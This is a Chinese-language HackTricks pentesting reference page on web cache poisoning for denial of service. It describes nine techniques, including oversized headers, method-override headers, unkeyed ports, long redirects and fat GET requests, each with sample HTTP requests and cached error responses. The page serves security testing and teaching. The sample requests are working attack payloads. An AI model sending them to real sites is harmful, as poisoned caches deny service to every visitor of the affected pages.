Cache Poisoning to DoS

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！

支持HackTricks的其他方式：

在此页面，您可以找到不同的变体，尝试使Web服务器以错误响应对适用于缓存服务器的请求进行响应

  • HTTP标头超大（HHO）

发送一个带有比Web服务器支持的标头大小更大但比缓存服务器支持的标头大小更小的请求。Web服务器将以400响应进行响应，该响应可能会被缓存：

GET / HTTP/1.1
Host: redacted.com
X-Oversize-Hedear:Big-Value-000000000000000

  • HTTP Meta Character (HMC) & Unexpected values

发送一个包含一些有害的元字符，如和的标头。为了使攻击生效，您必须首先绕过缓存。

GET / HTTP/1.1
Host: redacted.com
X-Meta-Hedear:Bad Chars\n \r

一个糟糕配置的标头可能只是\:作为一个标头。

如果发送了意外的值，比如意外的Content-Type:，这也可能起作用。

GET /anas/repos HTTP/2
Host: redacted.com
Content-Type: HelloWorld

  • 未加密的标头

一些网站会在请求中看到特定的标头时返回错误状态码，比如 X-Amz-Website-Location-Redirect: someThing 标头：

GET /app.js HTTP/2
Host: redacted.com
X-Amz-Website-Location-Redirect: someThing

HTTP/2 403 Forbidden
Cache: hit

Invalid Header

  • HTTP方法覆盖攻击（HMO）

如果服务器支持使用诸如 X-HTTP-Method-Override、X-HTTP-Method 或 X-Method-Override 等标头更改HTTP方法。可以请求一个有效页面并更改方法，以便服务器不支持该方法，从而导致缓存了错误的响应：

GET /blogs HTTP/1.1
Host: redacted.com
HTTP-Method-Override: POST

  • 未加密端口

如果主机头中的端口在响应中反射，但未包含在缓存键中，则可能将其重定向到未使用的端口：

GET /index.html HTTP/1.1
Host: redacted.com:1

HTTP/1.1 301 Moved Permanently
Location: https://redacted.com:1/en/index.html
Cache: miss

  • 长重定向拒绝服务攻击

就像下面的例子一样，x 没有被缓存，因此攻击者可以滥用重定向响应行为，使重定向发送一个如此庞大的 URL 以至于返回错误。然后，尝试访问没有缓存的 x 键的 URL 的人将收到错误响应：

GET /login?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 301 Moved Permanently
Location: /login/?x=veryLongUrl
Cache: hit

GET /login/?x=veryLongUrl HTTP/1.1
Host: www.cloudflare.com

HTTP/1.1 414 Request-URI Too Large
CF-Cache-Status: miss

  • 主机头大小写规范化

主机头应该是不区分大小写的，但一些网站希望它是小写的，如果不是，则会返回错误：

GET /img.png HTTP/1.1
Host: Cdn.redacted.com

HTTP/1.1 404 Not Found
Cache:miss

Not Found

  • 路径规范化

某些页面会返回错误代码，将数据以 URLencode 的方式发送到路径中，然而，缓存服务器会对路径进行 URLdecode 处理，并将响应存储为 URLdecoded 路径：

GET /api/v1%2e1/user HTTP/1.1
Host: redacted.com


HTTP/1.1 404 Not Found
Cach:miss

Not Found

  • Fat Get

一些缓存服务器，比如Cloudflare，或者Web服务器，会阻止带有主体的GET请求，因此这可能被滥用来缓存一个无效的响应：

GET /index.html HTTP/2
Host: redacted.com
Content-Length: 3

xyz


HTTP/2 403 Forbidden
Cache: hit

参考资料

从零开始学习AWS黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式：

上一页Cache Poisoning and Cache Deception下一页Clickjacking

最后更新于